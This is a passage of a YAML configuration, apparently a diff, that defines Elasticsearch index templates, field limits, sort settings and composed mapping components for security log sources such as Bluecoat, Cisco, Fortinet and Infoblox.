match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + - dtc-winlog-mappings + priority: 500 + so-bluecoat: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-bluecoat-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-case: + index_sorting: False + index_template: + index_patterns: + - so-case* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 1500 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - case-mappings + - case-settings + priority: 500 + so-cef: + index_sorting: False + index_template: + index_patterns: + - so-cef* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - cef-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-checkpoint: + index_sorting: False + index_template: + index_patterns: + - so-checkpoint* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - checkpoint-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-cisco: + index_sorting: False + index_template: + index_patterns: + - so-cisco* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - cisco-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-common: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - syslog-mappings + - dtc-syslog-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 1 + so-cyberark: + index_sorting: False + index_template: + index_patterns: + - so-cyberark* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - cyberark-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-cylance: + index_sorting: False + index_template: + index_patterns: + - so-cylance* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-elasticsearch: + index_sorting: False + index_template: + index_patterns: + - so-elasticsearch* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - elasticsearch-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-endgame: + index_sorting: False + index_template: + index_patterns: + - endgame* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - endgame-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 500 + so-f5: + index_sorting: False + index_template: + index_patterns: + - so-f5* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-firewall: + index_sorting: False + index_template: + index_patterns: + - so-firewall* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - syslog-mappings + - dtc-syslog-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-flow: + index_sorting: False + index_template: + index_patterns: + - so-flow* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-fortinet: + index_sorting: False + index_template: + index_patterns: + - so-fortinet* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - fortinet-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-gcp: + index_sorting: False + index_template: + index_patterns: + - so-gcp* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - gcp-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-google_workspace: + index_sorting: False + index_template: + index_patterns: + - so-google_workspace* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - google_workspace-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-idh: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-idh-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - container-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-ids: + index_sorting: False + index_template: + index_patterns: + - so-ids* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - suricata-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-imperva: + index_sorting: False + index_template: + index_patterns: + - so-imperva* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-import: + index_sorting: False + index_template: + index_patterns: + - so-import* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 500 + so-infoblox: + index_sorting: False + index_template: + index_patterns: + - so-infoblox* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - 